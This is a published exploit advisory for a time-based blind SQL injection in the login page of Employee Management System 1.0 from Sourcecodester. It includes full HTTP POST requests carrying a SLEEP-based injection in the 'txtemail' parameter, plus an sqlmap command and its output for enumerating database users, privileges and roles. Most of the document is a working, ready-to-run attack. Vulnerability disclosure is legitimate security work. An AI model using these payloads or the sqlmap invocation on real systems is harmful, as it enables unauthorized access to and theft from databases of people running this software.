Employee Management System 1.0 SQL Injection

# Exploit Title: Employee Management System  - SQLi# Date: 23/03/2024# Exploit Author: Özlem Balcı# Vendor Homepage: https://www.sourcecodester.com# Software Link:https://www.sourcecodester.com/php/16999/employee-management-system.html# Software Download:https://www.sourcecodester.com/download-code?nid=16999&title=Employee+Management+System+using+PHP+and+MySQL# Version: 1.0# Tested on: Mac OS## DescriptionA Time-Based Blind SQL injection vulnerability in the login page(/employee_akpoly/Account/login.php) in Employee Management System allowsremote unauthenticated attackers to execute remote command througharbitrary SQL commands by "txtemail" parameter## Request PoCPOST /employee_akpoly/Account/login.php HTTP/1.1Host: localhostContent-Length: 55Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/employee_akpoly/Account/login.phpAccept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: PHPSESSID=1af7jipa5jq7ak8ifd09bgtokfConnection: closetxtemail=test%40test.com&txtpassword=12345A&E&btnlogin=This request causes an error. Adding ' AND (SELECT 2092 FROM(SELECT(SLEEP(11)))DZSD) AND 'yLcd'='yLcd&txtpassword=123456AE to the endof "txtemail" parameter, the response to request was 302 status code withmessage of Found, but 11 seconds later, which indicates that our sleep 11command works.POST /employee_akpoly/Account/login.php HTTP/1.1Host: localhostContent-Length: 117Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/employee_akpoly/Account/login.phpAccept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: PHPSESSID=1af7jipa5jq7ak8ifd09bgtokfConnection: [email protected]' AND (SELECT 2092 FROM (SELECT(SLEEP(11)))DZSD) AND'yLcd'='yLcd&txtpassword=123456AE&btnloginsqlmap -r emp.txt --risk=3 --level=3 --dbms=mysql --is-dba --users--privileges --roleParameter: txtemail (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: [email protected]' AND (SELECT 2092 FROM(SELECT(SLEEP(5)))DZSD) AND 'yLcd'='yLcd&txtpassword=123456AE&btnlogin=[image:Employee Management System 1.png][image: Employee Management System2.png]